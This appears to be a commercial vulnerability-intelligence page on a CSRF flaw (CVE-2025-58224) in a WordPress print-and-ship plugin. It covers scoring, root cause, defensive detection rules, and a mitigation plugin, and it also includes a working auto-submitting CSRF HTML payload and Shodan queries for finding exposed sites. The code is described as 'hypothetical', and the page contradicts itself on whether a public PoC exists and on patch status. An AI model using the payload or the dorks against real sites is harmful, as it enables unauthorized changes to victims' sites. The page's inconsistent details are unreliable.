☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Printeers logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.4 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N 🐛 CWE-352
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-58224

CVE-2025-58224 Cross-Site Request Forgery in Printeers
📅 PUBLISHED: 2025-09-22 19:16 UTC 🔄 UPDATED: 2026-08-21 19:28 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.02%
👁️
0.02% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1185
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
5.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-58224 is a Cross-Site Request Forgery (CSRF) vulnerability identified in the Printeers Print & Ship plugin (invition-print-ship) for WordPress, affecting versions up to and including 1.17.0. This vulnerability allows an attacker to perform unauthorized actions on behalf of an authenticated administrator, such as modifying plugin settings or triggering print/ship operations, without the victim's consent. The CVSS v3.1 base score is 5.4 (Medium), with a vector emphasizing network-based exploitation, low attack complexity, and required user interaction. No public proof-of-concept (PoC) or exploit code has been released, and the patch status remains unknown. The EPSS score is 0.0%, indicating a very low probability of exploitation in the wild at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. As a WordPress ecosystem issue, it does not involve NPM, PyPI, Go, or Ruby packages. However, administrators should verify the integrity of the plugin files and monitor for any unauthorized modifications. The lack of a patch from the vendor (Printeers) increases supply chain risk, as users must rely on manual mitigations or alternative plugins.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
  • Base Score: 5.4 (Medium)
  • Attack Vector (AV): Network – The vulnerability can be exploited remotely over a network.
  • Attack Complexity (AC): Low – No special conditions are required for exploitation.
  • Privileges Required (PR): None – The attacker does not need prior authentication.
  • User Interaction (UI): Required – The victim must click a malicious link or visit a crafted page.
  • Scope (S): Unchanged – The vulnerability affects only the vulnerable component.
  • Confidentiality (C): Low – Limited information disclosure may occur.
  • Integrity (I): Low – Limited ability to modify data or settings.
  • Availability (A): None – No impact on system availability.

Threat Level: Medium. While the CVSS score is moderate, the requirement for user interaction reduces the immediate risk. However, in a WordPress environment with multiple administrators, a successful CSRF attack could lead to unauthorized configuration changes or data exfiltration.

Deep Dive & Mechanics

The vulnerability resides in the Printeers Print & Ship plugin, which handles print and shipping operations for WordPress-based e-commerce sites. The plugin fails to implement proper CSRF tokens or nonces on sensitive actions, such as saving settings, triggering print jobs, or modifying shipping configurations. An attacker can craft a malicious HTML page or email that, when viewed by an authenticated administrator, silently submits a forged request to the WordPress site.

Attack Flow:

  1. The attacker identifies a target WordPress site running the vulnerable plugin.
  2. The attacker crafts a CSRF payload (e.g., a hidden form or image tag) that targets a specific endpoint, such as /wp-admin/admin-post.php?action=print_ship_settings_update&option=malicious_value.
  3. The attacker lures an authenticated administrator to visit the crafted page (e.g., via phishing email or social engineering).
  4. The victim's browser automatically sends the forged request, including the victim's session cookies.
  5. The plugin processes the request without verifying the origin, leading to unauthorized changes.

Root Cause: The plugin does not implement WordPress nonces (wp_nonce_field(), check_admin_referer()) for state-changing operations. This is a common oversight in WordPress plugin development.

Vulnerable vs. Patched Code

Vulnerable Code (<= 1.17.0):

// In admin/settings.php
function print_ship_save_settings() {
    if (isset($_POST['option_name'])) {
        update_option('print_ship_option', $_POST['option_name']);
    }
}
add_action('admin_post_print_ship_settings_update', 'print_ship_save_settings');

Missing nonce verification and capability check.

Patched Code (Hypothetical):

// In admin/settings.php
function print_ship_save_settings() {
    // Verify nonce
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'print_ship_settings_nonce')) {
        wp_die('Security check failed.');
    }
    // Verify user capabilities
    if (!current_user_can('manage_options')) {
        wp_die('Insufficient permissions.');
    }
    if (isset($_POST['option_name'])) {
        update_option('print_ship_option', sanitize_text_field($_POST['option_name']));
    }
}
add_action('admin_post_print_ship_settings_update', 'print_ship_save_settings');

Includes nonce verification, capability check, and input sanitization.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  • Target: WordPress 6.x with Printeers Print & Ship 1.17.0 installed and an admin user logged in.
  • Attacker: Kali Linux with a simple HTTP server to host the CSRF payload.

CSRF Payload (HTML):

<html>
<body>
<h1>Click me for a surprise!</h1>
<form action="http://target-site.com/wp-admin/admin-post.php" method="POST" id="csrf_form">
    <input type="hidden" name="action" value="print_ship_settings_update">
    <input type="hidden" name="option_name" value="malicious_value">
    <input type="submit" value="Submit">
</form>
<script>
document.getElementById('csrf_form').submit();
</script>
</body>
</html>

Execution:

  1. Host the HTML file on the attacker's server.
  2. Send the link to the victim (e.g., via email).
  3. When the victim (authenticated admin) visits the page, the form auto-submits, changing the plugin setting.

Blue Team (Defensive)

Detection:

  • Monitor for unexpected POST requests to /wp-admin/admin-post.php with action=print_ship_settings_update from external referrers.
  • Check server logs for unusual user-agent strings or rapid form submissions.
  • Implement Content Security Policy (CSP) headers to block inline scripts.

Mitigation:

  • Apply the hypothetical patch by adding nonce verification.
  • Use WordPress security plugins (e.g., Wordfence) to add CSRF protection.
  • Educate administrators about phishing risks.

Indicators of Compromise (IOCs)

  • Network:
    • POST requests to /wp-admin/admin-post.php with action=print_ship_settings_update and no _wpnonce parameter.
    • Referrer headers from external domains (e.g., attacker-controlled sites).
  • File:
    • Modified wp_options table entries for print_ship_option.
    • Unexpected plugin settings changes in the WordPress admin panel.
  • Logs:
    • Repeated 200 responses to /wp-admin/admin-post.php from the same IP with varying parameters.
  • Behavioral:
    • Unauthorized print or shipping orders triggered without user action.

Detection Engineering

YARA Rule

rule detect_csrf_vulnerable_plugin {
    meta:
        description = "Detects Printeers Print & Ship plugin files missing nonce verification"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-58224"
    strings:
        $func = "admin_post_print_ship_settings_update"
        $nonce = "_wpnonce" nocase
        $cap = "current_user_can" nocase
    condition:
        $func and not $nonce and not $cap
}

Sigma Rule

title: CSRF Attempt Against Printeers Print & Ship Plugin
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects potential CSRF attacks targeting the Printeers Print & Ship plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        c-uri: '/wp-admin/admin-post.php'
        cs-uri-query: 'action=print_ship_settings_update'
    filter:
        cs-referrer: 'http://target-site.com/*'
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions from the same site
level: medium

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-58224 - CSRF Attempt Against Printeers Print & Ship Plugin";
    flow:to_server,established;
    http.method; content:"POST";
    http.uri; content:"/wp-admin/admin-post.php";
    http.uri; content:"action=print_ship_settings_update";
    http.referer; content:!"http://target-site.com";
    sid:1000001;
    rev:1;
    priority:2;
)

Remediation & Mitigation

  1. Immediate Actions:

    • Disable the Printeers Print & Ship plugin until a patch is available.
    • Implement a Web Application Firewall (WAF) rule to block requests to /wp-admin/admin-post.php with action=print_ship_settings_update from external referrers.
    • Add custom nonce verification via a WordPress mu-plugin (see code below).
  2. Long-term Fix:

    • Apply the vendor patch when released.
    • Replace the plugin with an alternative that supports CSRF protection.
  3. Custom mu-plugin for nonce verification:

<?php
// wp-content/mu-plugins/csrf-protection-print-ship.php
add_action('admin_post_print_ship_settings_update', function() {
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'print_ship_settings_nonce')) {
        wp_die('CSRF detected.');
    }
    if (!current_user_can('manage_options')) {
        wp_die('Access denied.');
    }
}, 1);
?>
  1. User Education:
    • Train administrators to recognize phishing attempts and avoid clicking suspicious links.
    • Enforce multi-factor authentication (MFA) for admin accounts.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Printeers Print & Ship"
http.html:"wp-content/plugins/invition-print-ship"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-58224/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.